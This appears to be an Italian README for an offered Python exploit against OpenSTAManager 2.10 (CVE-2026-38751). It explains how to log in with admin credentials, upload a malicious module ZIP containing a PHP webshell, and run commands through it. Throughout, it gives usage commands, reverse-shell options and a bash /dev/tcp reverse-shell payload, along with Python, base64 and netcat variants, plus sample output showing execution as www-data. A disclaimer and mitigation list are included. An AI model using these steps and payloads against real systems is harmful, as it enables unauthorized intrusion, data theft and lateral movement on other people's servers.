Exploit RCE per OpenSTAManager (CVE-2026-38751)
Panoramica
Questo script Python sfrutta una vulnerabilità di Remote Code Execution in OpenSTAManager versione 2.10, identificata come CVE-2026-38751. L'exploit consente agli utenti autenticati di caricare un modulo dannoso ed eseguire comandi arbitrari sul sistema target.
Dettagli della Vulnerabilità
- CVE ID: CVE-2026-38751
- Prodotto: OpenSTAManager
- Versione: 2.10
- Tipo: Remote Code Execution (RCE)
- Vettore di attacco: Basato sul web, richiede autenticazione valida
Come Funziona l'Exploit
L'exploit segue questi passaggi:
- Autenticazione: Accede all'applicazione OpenSTAManager utilizzando le credenziali fornite
- Abilitazione Aggiornamenti: Attiva la funzionalità di aggiornamento dei moduli, necessaria per l'exploit
- Creazione ZIP Dannoso: Genera un file ZIP contenente:
- Un file di definizione del modulo (
MODULE)
- Uno script PHP shell (
shell.php) che esegue comandi tramite il parametro GET c
- Caricamento Modulo: Carica lo ZIP dannoso tramite l'interfaccia di aggiornamento dei moduli
- Verifica dello Sfruttamento: Conferma che la shell sia accessibile e funzionante
- Esecuzione Comandi: Tramite:
- Modalità shell interattiva per l'esecuzione manuale dei comandi
- Connessione reverse shell per stabilire una connessione persistente
Prerequisiti
- Python 3.x
- Pacchetti Python richiesti:
requests, zipfile
- Credenziali admin valide per OpenSTAManager
- Accesso di rete al sistema target
Utilizzo
Utilizzo Base
python3 exploit.py -u http://target.com -U admin -P password
Modalità Shell Interattiva
python3 exploit.py -u http://target.com -U admin -P password --interactive
Modalità Reverse Shell
python3 exploit.py -u http://target.com -U admin -P password --lhost 10.10.14.180 --lport 4444
Argomenti
| Argomento | Descrizione |
|---|
-u, --url | URL del target (obbligatorio) |
-U, --user | Nome utente per l'autenticazione (obbligatorio) |
-P, --password | Password per l'autenticazione (obbligatoria) |
--interactive | Entra in modalità shell interattiva |
--no-cleanup | Non rimuovere i file shell dopo l'esecuzione |
--lhost | Host locale per la reverse shell |
--lport | Porta locale per la reverse shell |
Dettagli Tecnici
Processo di Sfruttamento
- Autenticazione: Lo script effettua una richiesta di login all'endpoint di autenticazione dell'applicazione
- Abilitazione Aggiornamento Moduli: Invia una richiesta POST per abilitare la funzionalità di aggiornamento dei moduli
- Generazione ZIP: Crea un archivio ZIP con:
shell/MODULE: File di configurazione del modulo
shell/shell.php: Webshell PHP che esegue i comandi passati tramite il parametro GET c
- Processo di Caricamento: Utilizza dati multipart form per caricare lo ZIP dannoso sull'endpoint di aggiornamento dei moduli
- Verifica: Testa la shell caricata eseguendo un comando semplice come
id per confermare che funzioni
- Esecuzione Comandi: Fornisce una shell interattiva o stabilisce una connessione reverse shell
Payload Utilizzati
L'exploit tenta diversi payload di reverse shell:
- Bash reverse shell:
bash -i >& /dev/tcp/{lhost}/{lport} 0>&1
- Reverse shell Python tramite connessioni socket
- Payload bash codificato in Base64
- Reverse shell Netcat
Considerazioni sulla Sicurezza
⚠️ Disclaimer: Questo exploit è destinato esclusivamente a scopo educativo e a test di sicurezza autorizzati.
Valutazione dei Rischi
Questa vulnerabilità consente:
- Esecuzione di codice arbitrario come utente del web server
- Potenziale escalation dei privilegi
- Accesso a dati sensibili memorizzati sul sistema
- Possibile movimento laterale all'interno di una rete
Mitigazione
Per proteggersi da questa vulnerabilità:
- Aggiornare OpenSTAManager all'ultima versione
- Implementare controlli di autenticazione adeguati
- Limitare le capacità di caricamento dei file
- Monitorare attività sospette
- Applicare la segmentazione di rete
Output di Esempio
[ OpenSTAManager RCE Exploit : ]
Target: http://target.com
[*] Step 1: Login...
[+] Login successful: admin
[*] Step 2: Enable updates...
[+] Updates enabled
[*] Step 3: Create ZIP...
[*] Created in-memory ZIP file
[*] Shell location: /modules/shell/shell.php
[*] Step 4: Upload...
[*] Upload status: 200
[+] Upload successful
[*] Step 5: Verify...
[+] Vulnerability confirmed!
[+] Shell: http://target.com/modules/shell/shell.php
[+] Test: http://target.com/modules/shell/shell.php?c=whoami
[*] Entering interactive mode...
cmd> whoami
www-data
cmd> exit
Riferimenti
Licenza
Questo exploit è fornito esclusivamente a scopo educativo. L'uso non autorizzato contro sistemi che non possiedi o per i quali non hai esplicito permesso di test è illegale.